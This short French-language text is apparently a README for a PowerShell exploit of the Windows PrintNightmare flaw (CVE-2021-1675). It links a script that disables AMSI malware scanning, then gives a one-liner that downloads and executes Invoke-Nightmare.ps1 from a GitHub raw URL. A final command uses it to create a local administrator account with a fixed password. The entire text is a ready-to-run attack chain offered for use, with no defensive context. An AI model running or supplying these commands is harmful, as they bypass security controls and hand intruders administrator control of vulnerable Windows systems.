
Exploit PowerShell pour CVE-2021-1675 PrintNightmare qui désactive AMSI et crée un compte administrateur local sur les systèmes Windows vulnérables.
#désactiver AMSI: (copier dans PowerShell) https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/disable-amsi.txt
#exécuter invoke-script iex (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/jj4152/cve-2021-1675/main/Invoke-Nightmare.ps1')
#créer un compte administrateur Invoke-Nightmare -DriverName "Xerox" -NewUser "admin" -NewPassword "P@ssw0rd"